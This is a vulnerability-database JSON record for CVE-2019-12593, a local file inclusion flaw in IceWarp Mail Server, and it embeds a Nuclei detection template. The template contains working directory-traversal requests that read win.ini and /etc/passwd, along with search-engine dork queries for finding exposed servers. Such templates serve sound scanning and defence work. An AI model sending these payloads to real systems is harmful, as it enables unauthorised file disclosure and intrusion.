{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-12593/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-12593/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-12593/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-12593/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-12593/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-12593"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-12593"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2019/CVE-2019-12593.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2019-12593\n\ninfo:\n  name: IceWarp Mail Server <=10.4.4 - Local File Inclusion\n  author: pikpikcu\n  severity: high\n  description: |\n    IceWarp Mail Server through 10.4.4 is prone to a local file inclusion vulnerability via webmail/calendar/minimizer/index.php?style=..%5c directory traversal.\n  impact: |\n    An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.\n  remediation: |\n    Upgrade IceWarp Mail Server to a version higher than 10.4.4 or apply the vendor-provided patch to fix the LFI vulnerability.\n  reference:\n    - https://github.com/JameelNabbo/exploits/blob/master/IceWarp%20%3C%3D10.4.4%20local%20file%20include.txt\n    - http://www.icewarp.com\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-12593\n    - http://packetstormsecurity.com/files/153161/IceWarp-10.4.4-Local-File-Inclusion.html\n    - https://github.com/sobinge/nuclei-templates\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2019-12593\n    cwe-id: CWE-22\n    epss-score: 0.40965\n    epss-percentile: 0.98598\n    cpe: cpe:2.3:a:icewarp:mail_server:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: icewarp\n    product: mail_server\n    shodan-query:\n      - title:\"icewarp\"\n      - http.title:\"icewarp server administration\"\n      - http.title:\"icewarp\"\n      - cpe:\"cpe:2.3:a:icewarp:mail_server\"\n    fofa-query:\n      - title=\"icewarp server administration\"\n      - title=\"icewarp\"\n    google-query:\n      - Powered By IceWarp 10.4.4\n      - intitle:\"icewarp\"\n      - powered by icewarp 10.4.4\n      - intitle:\"icewarp server administration\"\n  tags: cve,cve2019,packetstorm,lfi,icewarp,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini'\n      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"[intl]\"\n          - \"root:x:0\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100b787ed47637b98508b7cec0beeba02cc7329c1d97635d208619fdce3c80a5e55022041e468fad3146adbb6213d1ac20b486a134bad954aefc345386eebc681bd2bcd:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2019-12593"
}